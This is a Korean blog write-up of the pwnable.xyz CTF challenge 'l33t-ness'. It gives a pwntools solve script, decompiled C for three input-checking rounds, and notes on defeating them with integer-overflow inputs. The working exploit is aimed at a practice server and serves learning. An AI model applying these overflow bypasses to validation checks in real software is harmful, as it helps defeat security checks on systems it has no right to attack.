security/포너블 - pwnable.xyz

pwnable.xyz - l33t-ness

민사민서 2023. 2. 7. 20:34
from pwn import *
p = remote("svc.pwnable.xyz", 30008)

p.recvuntil("x: ")
p.send("1336")
p.recvuntil("y: ")
p.send("4294967295")

p.recvline()
p.sendline("3 1431656211")

p.recvline()
p.sendline("1 1 1 3 3")

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("The l33t-ness level.");
// 라운드 세 개 전부 통과
  if ( (unsigned __int8)round_1() && (unsigned __int8)round_2() && (unsigned __int8)round_3() )
    win();
  return 0;
}
_BOOL8 round_1()
{
  int v1; // [rsp+8h] [rbp-38h]
  int v2; // [rsp+Ch] [rbp-34h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("=== 1eet ===");
  memset(s, 0, 0x20uLL);
  printf("x: ");
  read(0, s, 0x10uLL);
  printf("y: ");
  read(0, &s[16], 0x10uLL);
// strchr(const char* str, int c)
// str 문자열 안에 문자 c(아스키값) 있는지 검사하고 있으면 해당 위치 포인터 반환, 없으면 NULL
  if ( strchr(s, 45) || strchr(&s[16], 45) ) // 45 = '-'
    return 0LL;
  v1 = atoi(s);
  v2 = atoi(&s[16]);
  return v1 <= 1336 && v2 <= 1336 && v1 - v2 == 1337;
}
_BOOL8 round_2()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("=== t00leet ===");
  v1 = 0;
  v2 = 0;
  _isoc99_scanf("%d %d", &v1, &v2);
  return v1 > 1 && v2 > 1337 && v1 * v2 == 1337;
}
_BOOL8 round_3()
{
  int i; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+10h] [rbp-20h] BYREF
  __int64 v3; // [rsp+18h] [rbp-18h] BYREF
  int v4; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("=== 3leet ===");
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0;
// rbp-0x20, rbp-0x1c, rbp-0x18, 
  _isoc99_scanf("%d %d %d %d %d", &v2, (char *)&v2 + 4, &v3, (char *)&v3 + 4, &v4);
  for ( i = 1; i <= 4; ++i )
  {
// v2_low <= v2_high <= v3_low <= v3_high <= v4 여야 겠네
    if ( *((_DWORD *)&v2 + i) < *((_DWORD *)&v2 + i - 1) )
      return 0LL;
  }
// #define HIDWROD(I) ((DWORD)((DWORDLONG)(I)>>32 & 0xFFFFFFFF)) 이렇게 생각하면 됨, 상위 4Byte
  return HIDWORD(v3) + (_DWORD)v3 + HIDWORD(v2) + (_DWORD)v2 + v4 == HIDWORD(v3)
                                                                   * (_DWORD)v3
                                                                   * HIDWORD(v2)
                                                                   * (_DWORD)v2
                                                                   * v4;
}

- round1()은 4byte signed int v1,v2를 입력받는데
- v1<=1336, v2<=1336 이면서 v1-v2=1337이어야 함
- v1=1336 입력하고 v2=-1 인데 2의 보수 형식으로 입력해야 함 (0xffffffff = 4294967295)

- round2()도 4byte signed int v1,v2를 입력받는데
- v1>1, v2>1337 이면서 v1*v2=1337 이어야 함 - overflow 이용 (0x100000539 = 4294968633)
// 실제로 어셈코드 보면 cmp eax, 0x539 이렇게 4byte만 비교한다
- 3으로 나눠지네 - (3, 1431656211) 조합이면 되겠다

- round3()는 v2 LODWORD, v2 HIDWORD, v3 LODWORD, v3 HIDWORD, v4 입력받는다
- a+b+c+d+e=a*b*c*d*e 되는 조합을 찾아서 넣으면 될텐데...
- (1,1,1,3,3) 하면 되겠네!

 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - fspoo  (0) 2023.02.09
pwnable.xyz - Jmp table  (0) 2023.02.05
pwnable.xyz - TLSv00  (0) 2023.02.05
pwnable.xyz - free spirit  (0) 2023.02.05